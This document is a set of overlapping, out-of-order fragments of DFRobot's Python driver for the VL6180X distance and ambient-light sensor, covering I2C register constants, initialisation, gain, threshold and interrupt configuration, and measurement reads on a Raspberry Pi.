"value | mode self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Configure the interrupt mode for the",
"V1.0 @date 2021-02-09 @get from https://www.dfrobot.com @url https://github.com/DFRobot/DFRobot_VL6180X \"\"\" import smbus import time",
"The pin number attached to the CE @return return True succeed ;return False",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x96,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x97,0xfd]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe3,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe4,0x04]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe6,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"RPi.GPIO as GPIO class DFRobot_VL6180X: # IIC ADDR VL6180X_IIC_ADDRESS = 0x29 # The",
"als_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result = (result>>3) & 0x07 return result",
"true :Set up the success, false :Setup failed ''' def set_als_gain(self,gain): if(gain>7): return",
"= 40 gain =gain | 0x40 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_ANALOGUE_GAIN>>8, [self.VL6180X_SYSALS_ANALOGUE_GAIN,gain]) return True ''' @brief get",
"methods @copyright Copyright (c) 2010 DFRobot Co.Ltd (http://www.dfrobot.com) @licence The MIT License (MIT)",
"enabled, INT low by default ''' def set_interrupt(self,mode): if(mode == self.VL6180X_DIS_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20])",
"0x01 VL6180X_ALS_UNDERFLOW_ERR = 0x02 VL6180X_NO_ERR = 0x00 VL6180X_EARLY_CONV_ERR = 0x06 VL6180X_MAX_CONV_ERR = 0x07",
"the ambient light @param mode Enable interrupt mode @n VL6180X_INT_DISABLE interrupt disable @n",
"self.VL6180X_HIGH_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x10]) elif(mode == self.VL6180X_LOW_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x30]) ''' @brief A single range",
"mode @n VL6180X_DIS_INTERRUPT disabled interrupt @n VL6180X_DIS_INTERRUPT GPIO1 interrupt enabled, INT high by",
"''' @brief get the identifier of sensor @return Authentication information ''' def __get_device_id(self):",
"sample ready ''' def range_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value",
"((0.32*100*value)/(self.__gain*self.__atime)) return result ''' @brief Enable continuous measurement of ambient light intensity mode",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_ALS_VAL>>8, [self.VL6180X_RESULT_ALS_VAL]) a = self.__i2cbus.read_byte(self.__i2c_addr) b = self.__i2cbus.read_byte(self.__i2c_addr) value = (a<<8) | b",
"= 0x07 VL6180X_IGNORE_ERR = 0x08 VL6180X_MAX_S_N_ERR = 0x0B VL6180X_RAW_Range_UNDERFLOW_ERR = 0x0C VL6180X_RAW_Range_OVERFLOW_ERR =",
"VL6180X_ALS_GAIN_1 = 6 VL6180X_ALS_GAIN_40 = 7 # The result of the range measurenments",
"status @n 0 �?No threshold events reported @n VL6180X_LEVEL_LOW :value < thresh_low @n",
"0 VL6180X_LEVEL_LOW = 1 VL6180X_LEVEL_HIGH = 2 VL6180X_OUT_OF_WINDOW = 3 VL6180X_NEW_SAMPLE_READY = 4",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME>>8, [self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTEGRATION_PERIOD>>8, [self.VL6180X_SYSALS_INTEGRATION_PERIOD,0x63]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD>>8, [self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD,0x30]) self.set_als_gain(self.VL6180X_ALS_GAIN_1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,0x00])",
"[self.VL6180X_SYSALS_THRESH_HIGH,threshold_h>>8,value_h]) ''' @brief Set the ALS gain @param gain the value of gain(range",
"VL6180X_LEVEL_LOW = 1 VL6180X_LEVEL_HIGH = 2 VL6180X_OUT_OF_WINDOW = 3 VL6180X_NEW_SAMPLE_READY = 4 '''",
"Configuration ranging period @param period_ms Measurement period, in milliseconds ''' def range_set_inter_measurement_period(self,period_ms): if(period_ms",
"ranging data ,uint mm ''' def range_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_VAL>>8, [self.VL6180X_RESULT_RANGE_VAL]) value = self.__i2cbus.read_byte(self.__i2c_addr) return",
"time.sleep(0.3); self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x03]) ''' @brief Retrieve ranging data @return return ranging",
"result ''' @brief Gets the interrupt state of the measured light intensity @return",
"''' def begin(self): device_id = self.__get_device_id() if device_id != self.VL6180X_ID: return False self.__init()",
"VL6180X_Range_OVERFLOW_ERR = 0x0F # GPIO1 mode selection VL6180X_DIS_INTERRUPT = 0 VL6180X_HIGH_INTERRUPT = 1",
"[0xa6,0x1b]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xac,0x3e]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa7,0x1f]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x30,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_REPEAT_RATE>>8, [self.VL6180X_SYSRANGE_VHV_REPEAT_RATE,0xFF]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_RECALIBRATE>>8, [self.VL6180X_SYSRANGE_VHV_RECALIBRATE,0x01])",
"mode Enable interrupt mode @n VL6180X_DIS_INTERRUPT disabled interrupt @n VL6180X_DIS_INTERRUPT GPIO1 interrupt enabled,",
"@param addr Set to IIC addr ''' def __init__(self,iic_addr =VL6180X_IIC_ADDRESS,bus = 1): self.__i2cbus",
"elif(gain == self.VL6180X_ALS_GAIN_2_5): self.__gain = 2.5 elif(gain == self.VL6180X_ALS_GAIN_1_67): self.__gain = 1.67 elif(gain",
"= 1 VL6180X_LOW_INTERRUPT = 2 # als/range interrupt mode selection VL6180X_INT_DISABLE = 0",
"the ambient light interrupt ''' def clear_als_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,2]) ''' @brief Single measurement",
"return result ''' @brief Gets the interrupt state of the measured light intensity",
"= 6 VL6180X_ALS_GAIN_40 = 7 # The result of the range measurenments VL6180X_NO_ERR",
"# The result of the range measurenments VL6180X_NO_ERR = 0x00 VL6180X_ALS_OVERFLOW_ERR = 0x01",
"high by default @n VL6180X_LOW_INTERRUPT GPIO1 interrupt enabled, INT low by default '''",
"@n 1.27 times gain: VL6180X_ALS_GAIN_1_25 = 5 @n 1 times gain: VL6180X_ALS_GAIN_1 =",
"[self.VL6180X_SYSRANGE_THRESH_LOW,threshold_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_HIGH>>8, [self.VL6180X_SYSRANGE_THRESH_HIGH,threshold_h]) ''' @brief Set ALS Threshold Value @param thresholdL :Lower Threshold",
"= (result>>3) & 0x07 return result ''' @brief turn off interleaved mode '''",
"gain: VL6180X_ALS_GAIN_10 = 1 @n 5 times gain: VL6180X_ALS_GAIN_5 = 2 @n 2.5",
"return status @n 0 �?No threshold events reported @n VL6180X_LEVEL_LOW :value < thresh_low",
"@brief Gets the interrupt state of the ranging @return return status @n 0",
"interleaved mode ''' def start_interleaved_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8,",
"2 VL6180X_ALS_GAIN_2_5 = 3 VL6180X_ALS_GAIN_1_67 = 4 VL6180X_ALS_GAIN_1_25 = 5 VL6180X_ALS_GAIN_1 = 6",
"0x015 VL6180X_SYSTEM_FRESH_OUT_OF_RESET = 0x016 VL6180X_SYSTEM_GROUPED_PARAMETER_HOLD = 0x017 VL6180X_SYSRANGE_START = 0x018 VL6180X_SYSRANGE_THRESH_HIGH = 0x019",
"0x0D VL6180X_Range_UNDERFLOW_ERR = 0x0E VL6180X_Range_OVERFLOW_ERR = 0x0F # GPIO1 mode selection VL6180X_DIS_INTERRUPT =",
"= 3 VL6180X_ALS_GAIN_1_67 = 4 VL6180X_ALS_GAIN_1_25 = 5 VL6180X_ALS_GAIN_1 = 6 VL6180X_ALS_GAIN_40 =",
"def range_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_VAL>>8, [self.VL6180X_RESULT_RANGE_VAL]) value = self.__i2cbus.read_byte(self.__i2c_addr) return value ''' @brief Clear ranging",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result = result & 0x07 return result '''",
"thresholdH :Upper threshold ''' def set_als_threshold_value(self,threshold_l,threshold_h): value_l = int((threshold_l * self.__gain)/0.32) value_h =",
"[0xdc,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdd,0xf8]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x9f,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xa3,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb7,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xbb,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb2,0x09])",
"[self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_REPEAT_RATE>>8, [self.VL6180X_SYSRANGE_VHV_REPEAT_RATE,0xFF]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_RECALIBRATE>>8, [self.VL6180X_SYSRANGE_VHV_RECALIBRATE,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME>>8, [self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTEGRATION_PERIOD>>8, [self.VL6180X_SYSALS_INTEGRATION_PERIOD,0x63]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD>>8, [self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD,0x30])",
";return False failed. ''' def begin(self): device_id = self.__get_device_id() if device_id != self.VL6180X_ID:",
"VL6180X_ALS_GAIN_1_67 = 4 VL6180X_ALS_GAIN_1_25 = 5 VL6180X_ALS_GAIN_1 = 6 VL6180X_ALS_GAIN_40 = 7 #",
"False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr) value = value | mode self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value])",
"continuous measurement of ambient light intensity mode ''' def als_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1)",
"VL6180X_SYSTEM_INTERRUPT_CLEAR = 0x015 VL6180X_SYSTEM_FRESH_OUT_OF_RESET = 0x016 VL6180X_SYSTEM_GROUPED_PARAMETER_HOLD = 0x017 VL6180X_SYSRANGE_START = 0x018 VL6180X_SYSRANGE_THRESH_HIGH",
"[0x30,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_REPEAT_RATE>>8, [self.VL6180X_SYSRANGE_VHV_REPEAT_RATE,0xFF]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_RECALIBRATE>>8, [self.VL6180X_SYSRANGE_VHV_RECALIBRATE,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME>>8, [self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTEGRATION_PERIOD>>8, [self.VL6180X_SYSALS_INTEGRATION_PERIOD,0x63])",
"# als/range interrupt mode selection VL6180X_INT_DISABLE = 0 VL6180X_LEVEL_LOW = 1 VL6180X_LEVEL_HIGH =",
"als_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr) value =",
"= 0x0E VL6180X_Range_OVERFLOW_ERR = 0x0F # GPIO1 mode selection VL6180X_DIS_INTERRUPT = 0 VL6180X_HIGH_INTERRUPT",
"https://github.com/DFRobot/DFRobot_VL6180X \"\"\" import smbus import time import RPi.GPIO as GPIO class DFRobot_VL6180X: #",
"Enable interrupt mode @n VL6180X_INT_DISABLE interrupt disable @n VL6180X_LEVEL_LOW value < thresh_low @n",
":new sample ready ''' def als_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result =",
"period @param period_ms Measurement period, in milliseconds ''' def range_set_inter_measurement_period(self,period_ms): if(period_ms > 10):",
"__init(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET]) reset = self.__i2cbus.read_byte(self.__i2c_addr) if(reset): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x07,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x08,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x96,0x00])",
"if(reset): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x07,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x08,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x96,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x97,0xfd]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe3,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe4,0x04])",
"[0xb7,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xbb,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb2,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xca,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x98,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xb0,0x17]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xad,0x00])",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe6,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe7,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xf5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xd9,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdb,0xce]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdc,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"Initialize sensor @param CE The pin number attached to the CE @return return",
"== self.VL6180X_ALS_GAIN_10): self.__gain = 10 elif(gain == self.VL6180X_ALS_GAIN_5): self.__gain = 5.0 elif(gain ==",
"period for measuring light intensity @param period_ms Measurement period, in milliseconds ''' def",
"intensity mode ''' def als_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) '''",
"VL6180X_NO_ERR = 0x00 VL6180X_EARLY_CONV_ERR = 0x06 VL6180X_MAX_CONV_ERR = 0x07 VL6180X_IGNORE_ERR = 0x08 VL6180X_MAX_S_N_ERR",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET]) reset = self.__i2cbus.read_byte(self.__i2c_addr) if(reset): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x07,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x08,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x96,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"for ambient light VL6180X_ALS_GAIN_20 = 0 VL6180X_ALS_GAIN_10 = 1 VL6180X_ALS_GAIN_5 = 2 VL6180X_ALS_GAIN_2_5",
"@n VL6180X_DIS_INTERRUPT disabled interrupt @n VL6180X_DIS_INTERRUPT GPIO1 interrupt enabled, INT high by default",
"VL6180X_ALS_GAIN_10 = 1 VL6180X_ALS_GAIN_5 = 2 VL6180X_ALS_GAIN_2_5 = 3 VL6180X_ALS_GAIN_1_67 = 4 VL6180X_ALS_GAIN_1_25",
"[self.VL6180X_SYSRANGE_START,0x01]) return self.range_get_measurement() ''' @brief Configuration ranging period @param period_ms Measurement period, in",
"VL6180X_EARLY_CONV_ERR = 0x06 VL6180X_MAX_CONV_ERR = 0x07 VL6180X_IGNORE_ERR = 0x08 VL6180X_MAX_S_N_ERR = 0x0B VL6180X_RAW_Range_UNDERFLOW_ERR",
"@brief Configure the interrupt mode for ranging @param mode Enable interrupt mode @n",
"device_id != self.VL6180X_ID: return False self.__init() return True ''' @brief Configure the default",
"DFRobot_VL6180X Class infrastructure, implementation of underlying methods @copyright Copyright (c) 2010 DFRobot Co.Ltd",
"self.__i2cbus.read_byte(self.__i2c_addr) result = (result>>3) & 0x07 return result ''' @brief turn off interleaved",
"coding: utf-8 -* \"\"\" file DFRobot_VL6180X.py # DFRobot_VL6180X Class infrastructure, implementation of underlying",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief turn on interleaved mode ''' def start_interleaved_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01])",
"VL6180X_ID = 0xB4 # 8 gain modes for ambient light VL6180X_ALS_GAIN_20 = 0",
"= 0x031 VL6180X_SYSALS_START = 0x038 VL6180X_SYSALS_THRESH_HIGH = 0x03A VL6180X_SYSALS_THRESH_LOW = 0x03C VL6180X_SYSALS_INTERMEASUREMENT_PERIOD =",
"VL6180X_ALS_GAIN_5 = 2 VL6180X_ALS_GAIN_2_5 = 3 VL6180X_ALS_GAIN_1_67 = 4 VL6180X_ALS_GAIN_1_25 = 5 VL6180X_ALS_GAIN_1",
"attached to the CE @return return True succeed ;return False failed. ''' def",
"@n 40 times gain: VL6180X_ALS_GAIN_40 = 7 @return true :Set up the success,",
"VL6180X_SYSALS_INTEGRATION_PERIOD = 0x040 VL6180X_RESULT_RANGE_STATUS = 0x04D VL6180X_RESULT_ALS_STATUS = 0x04E VL6180X_RESULT_INTERRUPT_STATUS_GPIO = 0x04F VL6180X_RESULT_ALS_VAL",
"The light intensity,uint lux ''' def als_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) return self.als_get_measurement() ''' @brief",
"result = self.__i2cbus.read_byte(self.__i2c_addr) result = (result>>3) & 0x07 return result ''' @brief turn",
"# GPIO1 mode selection VL6180X_DIS_INTERRUPT = 0 VL6180X_HIGH_INTERRUPT = 1 VL6180X_LOW_INTERRUPT = 2",
"[self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET,0]) ''' @brief Set Range",
"INT high by default @n VL6180X_LOW_INTERRUPT GPIO1 interrupt enabled, INT low by default",
"file DFRobot_VL6180X.py # DFRobot_VL6180X Class infrastructure, implementation of underlying methods @copyright Copyright (c)",
"range_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result = result & 0x07 return result",
"[self.VL6180X_SYSTEM_MODE_GPIO1,0x10]) elif(mode == self.VL6180X_LOW_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x30]) ''' @brief A single range @return return",
"> thresh_high @n VL6180X_OUT_OF_WINDOW value < thresh_low OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY",
"= 5 @n 1 times gain: VL6180X_ALS_GAIN_1 = 6 @n 40 times gain:",
"0x0B VL6180X_RAW_Range_UNDERFLOW_ERR = 0x0C VL6180X_RAW_Range_OVERFLOW_ERR = 0x0D VL6180X_Range_UNDERFLOW_ERR = 0x0E VL6180X_Range_OVERFLOW_ERR = 0x0F",
"@param thresholdH :Upper threshold ''' def set_range_threshold_value(self,threshold_l,threshold_h): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_LOW>>8, [self.VL6180X_SYSRANGE_THRESH_LOW,threshold_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_HIGH>>8, [self.VL6180X_SYSRANGE_THRESH_HIGH,threshold_h]) ''' @brief",
"get the identifier of sensor @return Authentication information ''' def __get_device_id(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_IDENTIFICATION_MODEL_ID>>8, [self.VL6180X_IDENTIFICATION_MODEL_ID])",
"= int((threshold_h* self.__gain)/0.32) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_LOW>>8, [self.VL6180X_SYSALS_THRESH_LOW,threshold_l>>8,value_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_HIGH>>8, [self.VL6180X_SYSALS_THRESH_HIGH,threshold_h>>8,value_h]) ''' @brief Set the ALS gain",
"as GPIO class DFRobot_VL6180X: # IIC ADDR VL6180X_IIC_ADDRESS = 0x29 # The sensor",
"= 2 VL6180X_ALS_GAIN_2_5 = 3 VL6180X_ALS_GAIN_1_67 = 4 VL6180X_ALS_GAIN_1_25 = 5 VL6180X_ALS_GAIN_1 =",
"return result ''' @brief Enable continuous measurement of ambient light intensity mode '''",
"[self.VL6180X_SYSALS_ANALOGUE_GAIN,gain]) return True ''' @brief get the identifier of sensor @return Authentication information",
"[0x00,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x99,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa6,0x1b]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xac,0x3e]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa7,0x1f]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x30,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,0x09])",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET,0]) ''' @brief Set Range Threshold Value @param thresholdL :Lower",
"if(gain == self.VL6180X_ALS_GAIN_20): self.__gain = 20 elif(gain == self.VL6180X_ALS_GAIN_10): self.__gain = 10 elif(gain",
"value of gain(range 0-7) @n 20 times gain: VL6180X_ALS_GAIN_20 = 0 @n 10",
